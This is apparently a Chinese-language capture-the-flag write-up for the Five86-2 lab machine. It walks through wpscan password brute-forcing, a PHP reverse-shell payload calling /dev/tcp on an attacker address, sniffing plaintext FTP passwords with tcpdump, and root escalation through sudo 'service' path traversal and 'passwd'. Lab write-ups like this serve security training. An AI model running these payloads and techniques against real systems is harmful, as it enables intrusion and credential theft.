2020-02-26

情报收集

1
2
3
4

20/tcp closed ftp-data
21/tcp open ftp ProFTPD 1.3.5e
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

ProFTPD 1.3.5e 相关漏洞,无法匿名登录

后台放置目录枚举,WordPress 站点 wpscan 扫描

2020-02-26-15-21-50屏幕截图 2020-02-26-15-22-25屏幕截图

逐一访问,无有价值信息,wpscan 枚举出了几个用户名:

1
2
3
4
5
barney
peter
admin
gillian
stephen

尝试枚举爆破,枚举出两个密码:

1
2
3
4
wpscan --url http://192.168.56.117 -U tmp/user.txt -P /usr/share/wordlists/rockyou.txt -t 30

# [SUCCESS] - barney / spooky1
# [SUCCESS] - stephen / apollo1

2020-02-26-15-53-05屏幕截图

2020-02-26-16-37-11屏幕截图

撬开大门

1
2
barney : spooky1   
stephen : apollo1

两个账号均可登录后台,不过 stephen 无利用点

barney 登陆后,有三个插件,搜索相关漏洞,除第三个插件外,其他暂无价值:

根据 PoC 说明,写出 exp ,上传后,本地端口监听,访问上传网址,得到 shell

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.109/8848 0>&1'");

注意:用 echo 写入的时候注意引号的转义,写入后最好再查看一遍利用脚本的内容是否正确

2020-02-26-17-37-01屏幕截图

2020-02-26-17-37-18屏幕截图 被忽略的转义

登堂入室

接收到了 shell 先收集一波信息,最喜欢的 /etc/passwd 里总是包含用户及其主目录,HOME 下的用户目录无访问权限

各种信息收集了一波,当前用户的作用实在不大。无思路无目的时候,就是收集的情报不够,整理一下现有资料:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open ftp ProFTPD 1.3.5e 无相关漏洞
80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 无相关漏洞
#####################
barney spooky1 FTP:No WordPress:OK
peter
admin
gillian
stephen apollo1 FTP:No WordPress:OK
######################
barney :x:1001:1001:Barney Sumner:/home/barney:/bin/bash
stephen :x:1002:1002:Stephen Morris:/home/stephen:/bin/bash
peter :x:1003:1003:Peter Hook:/home/peter:/bin/bash
gillian :x:1004:1004:Gillian Gilbert:/home/gillian:/bin/bash
richard :x:1005:1005:Richard Starkey:/home/richard:/bin/bash
paul :x:1006:1006:Paul McCartney:/home/paul:/bin/bash
john :x:1007:1007:John Lennon:/home/john:/bin/bash
george :x:1008:1008:George Harrison:/home/george:/bin/bash
#####################
得到密码的两个账号无法登陆 FTP

##################### <----- 未验证/未收集
Linux kernel 信息未收集(内核提权)
FTP 没有起到作用(存在即有理)

####################
两个账户存在于 /etc/passwd 下,是否可以切换用户
barney 密码错误
stephen 可以切换
####################
barney spooky1 FTP:No WordPress:OK su:NO
peter
admin
gillian
stephen apollo1 FTP:No WordPress:OK su:OK <----- 切入点

2020-02-26-17-38-13屏幕截图

身份转换

su stephen :切换用户

不存在 sudo 权限,主目录暂无利用信息,卡住了

查了一下 WriteUp,抓 FTP 的包,有明文密码:

查看相关进程:

1
2
3
4
5
6
7
8
ps -aux | grep "ftp"

systemd+ 1376 0.0 0.9 119972 9484 pts/0 Ss+ 02:32 0:00 proftpd: (accepting connections)
paul 2883 0.0 0.0 2600 732 ? Ss 05:38 0:00 /bin/sh -c /home/paul/ftp_upload.sh > /dev/null 2>&1
paul 2884 0.0 0.0 2600 864 ? S 05:38 0:00 /bin/sh /home/paul/ftp_upload.sh
paul 2885 0.0 0.2 3224 2036 ? S 05:38 0:00 ftp -n 172.18.0.10
1000 2886 0.0 0.8 133072 8136 pts/0 S+ 05:38 0:00 proftpd: paul - 172.18.0.1: STOR file.txt
stephen 2889 0.0 0.0 6296 924 pts/0 S+ 05:38 0:00 grep ftp

查看 FTP 监听的网卡:

1
2
3
4
5
6
7
8
ip addr

--
3: br-eca3858d86bf: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:9e:df:8d:0f brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-eca3858d86bf
valid_lft forever preferred_lft forever
inet6 fe80::42:9eff:fedf:8d0f/64 scope link

抓包,得到密码:

1
2
timeout 50 tcpdump -i br-eca3858d86bf -w pack.pcap
tcpdump -r pack.pcap

2020-02-27 13-39-28屏幕截图

2020-02-27 14-40-50屏幕截图

权限提升

登录 paul 查看可以 sudo 执行的程序:

1
2
3
4
5
6
Matching Defaults entries for paul on five86-2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User paul may run the following commands on five86-2:
(peter) NOPASSWD: /usr/sbin/service

/usr/sbin/service 提权:

1
sudo -u peter service ../../bin/bash

查看可以 sudo 执行的程序:

1
2
3
4
5
6
7
Matching Defaults entries for peter on five86-2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User peter may run the following commands on five86-2:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/passwd

修改 root 密码,登录 root 查看 flag

1
2
3
sudo passwd root

su -

2020-02-27 14-54-14屏幕截图


卡在了 FTP 抓包的位置,还是经验不足

前期收集的信息必定是有用的,FTP 使用明文传输密码,只需要抓包,就可以得到

查看系统正在运行的进程也要加入信息收集里面